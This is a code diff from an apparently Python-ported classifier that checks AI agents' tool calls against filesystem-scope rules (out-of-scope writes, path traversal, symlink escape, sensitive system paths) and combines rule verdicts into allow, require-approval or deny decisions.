# Case-insensitive, same as the original raw-prefix check this replaces -- every entry in
|
|
175
|
+
# SENSITIVE_SYSTEM_PREFIXES is already lowercase.
|
|
176
|
+
lower = path.lower()
|
|
177
|
+
hit = next((p for p in _SENSITIVE_SYSTEM_PREFIXES if is_path_within(lower, p)), None)
|
|
178
|
+
if not hit:
|
|
179
|
+
return None
|
|
180
|
+
return _match(
|
|
181
|
+
"TG02-sensitive-system-path",
|
|
182
|
+
"deny",
|
|
183
|
+
f'Target "{path}" is under a sensitive system directory ({hit}).',
|
|
184
|
+
path,
|
|
185
|
+
)
|
|
186
|
+
|
|
187
|
+
|
|
188
|
+
filesystem_scope_rules: List[_Rule] = [
|
|
189
|
+
_Rule("TG02-write-outside-scope", _CATEGORY, "A write/create targets a path outside the declared filesystem scope.", _write_outside_scope_evaluate),
|
|
190
|
+
_Rule("TG02-delete-outside-scope", _CATEGORY, "A delete targets a path outside the declared filesystem scope.", _delete_outside_scope_evaluate),
|
|
191
|
+
_Rule("TG02-chmod-outside-scope", _CATEGORY, "A permission change targets a path outside the declared filesystem scope.", _chmod_outside_scope_evaluate),
|
|
192
|
+
_Rule(
|
|
193
|
+
"TG02-read-outside-scope",
|
|
194
|
+
_CATEGORY,
|
|
195
|
+
"A read targets a path outside the caller's declared filesystem scope. An explicitly "
|
|
196
|
+
"granted credential path (scope.credentials) is not flagged here.",
|
|
197
|
+
_read_outside_scope_evaluate,
|
|
198
|
+
),
|
|
199
|
+
_Rule("TG02-path-traversal", _CATEGORY, 'A path uses ".." segments that could escape a scoped prefix.', _path_traversal_evaluate),
|
|
200
|
+
_Rule("TG02-symlink-escape", _CATEGORY, "A symlink/link operation targets a path outside the declared filesystem scope.", _symlink_escape_evaluate),
|
|
201
|
+
_Rule("TG02-sensitive-system-path", _CATEGORY, "A write/delete targets a sensitive absolute system directory.", _sensitive_system_path_evaluate),
|
|
202
|
+
]
|
|
@@ -0,0 +1,80 @@
|
|
|
1
|
+
"""The classifier: runs every rule in the TG01-TG05 pack against one normalized call context
|
|
2
|
+
and aggregates the result.
|
|
3
|
+
|
|
4
|
+
Ported from ``packages/toolgovern/src/classifier/index.ts``.
|
|
5
|
+
|
|
6
|
+
Decision severity order is ``deny`` > ``require-approval`` > ``allow`` -- if any rule denies,
|
|
7
|
+
the call is denied, no matter how many other rules would have allowed it.
|
|
8
|
+
|
|
9
|
+
Every non-allow decision is traceable to the specific rule ID(s) that fired and the argument
|
|
10
|
+
that tripped each one. There is no unexplained black-box denial in this classifier: if
|
|
11
|
+
``fired_rules`` is empty, the decision is (and can only be) ``allow``.
|
|
12
|
+
"""
|
|
13
|
+
|
|
14
|
+
from __future__ import annotations
|
|
15
|
+
|
|
16
|
+
import dataclasses
|
|
17
|
+
from dataclasses import dataclass, field
|
|
18
|
+
from typing import List, Sequence
|
|
19
|
+
|
|
20
|
+
from ..types import ClassifierResult, Decision, RuleContext, RuleMatch
|
|
21
|
+
from .credential_access import credential_access_rules
|
|
22
|
+
from .cross_agent_inheritance import cross_agent_inheritance_rules
|
|
23
|
+
from .filesystem_scope import filesystem_scope_rules
|
|
24
|
+
from .information_flow import information_flow_rules
|
|
25
|
+
from .network_egress import network_egress_rules
|
|
26
|
+
from .shell_risk import shell_risk_rules
|
|
27
|
+
|
|
28
|
+
rule_registry = [
|
|
29
|
+
*shell_risk_rules,
|
|
30
|
+
*filesystem_scope_rules,
|
|
31
|
+
*network_egress_rules,
|
|
32
|
+
*credential_access_rules,
|
|
33
|
+
*cross_agent_inheritance_rules,
|
|
34
|
+
*information_flow_rules,
|
|
35
|
+
]
|
|
36
|
+
|
|
37
|
+
|
|
38
|
+
@dataclass(frozen=True)
|
|
39
|
+
class ClassifyOptions:
|
|
40
|
+
"""Options for ``classify()``."""
|
|
41
|
+
|
|
42
|
+
disabled_rules: Sequence[str] = field(default_factory=tuple)
|
|
43
|
+
"""Rule IDs to skip entirely regardless of arguments (from Policy.rules.disable)."""
|
|
44
|
+
downgrade_to_approval: Sequence[str] = field(default_factory=tuple)
|
|
45
|
+
"""Rule IDs whose deny verdict should be downgraded to require-approval
|
|
46
|
+
(from Policy.rules.require_approval)."""
|
|
47
|
+
|
|
48
|
+
|
|
49
|
+
def _severity(decision: Decision) -> int:
|
|
50
|
+
if decision == "deny":
|
|
51
|
+
return 2
|
|
52
|
+
if decision == "require-approval":
|
|
53
|
+
return 1
|
|
54
|
+
return 0
|
|
55
|
+
|
|
56
|
+
|
|
57
|
+
def classify(ctx: RuleContext, options: ClassifyOptions = None) -> ClassifierResult:
|
|
58
|
+
"""Evaluates one tool call against every enabled rule and returns the aggregate verdict."""
|
|
59
|
+
options = options or ClassifyOptions()
|
|
60
|
+
disabled = set(options.disabled_rules)
|
|
61
|
+
downgrade = set(options.downgrade_to_approval)
|
|
62
|
+
|
|
63
|
+
fired_rules: List[RuleMatch] = []
|
|
64
|
+
for rule in rule_registry:
|
|
65
|
+
if rule.id in disabled:
|
|
66
|
+
continue
|
|
67
|
+
result = rule.evaluate(ctx)
|
|
68
|
+
if not result:
|
|
69
|
+
continue
|
|
70
|
+
if result.decision == "deny" and result.rule_id in downgrade:
|
|
71
|
+
fired_rules.append(dataclasses.replace(result, decision="require-approval"))
|
|
72
|
+
else:
|
|
73
|
+
fired_rules.append(result)
|
|
74
|
+
|
|
75
|
+
decision: Decision = "allow"
|
|
76
|
+
for r in fired_rules:
|
|
77
|
+
if _severity(r.decision) > _severity(decision):
|
|
78
|
+
decision = r.decision
|
|
79
|
+
|
|
80
|
+
return ClassifierResult(decision=decision, fired_rules=fired_rules)
|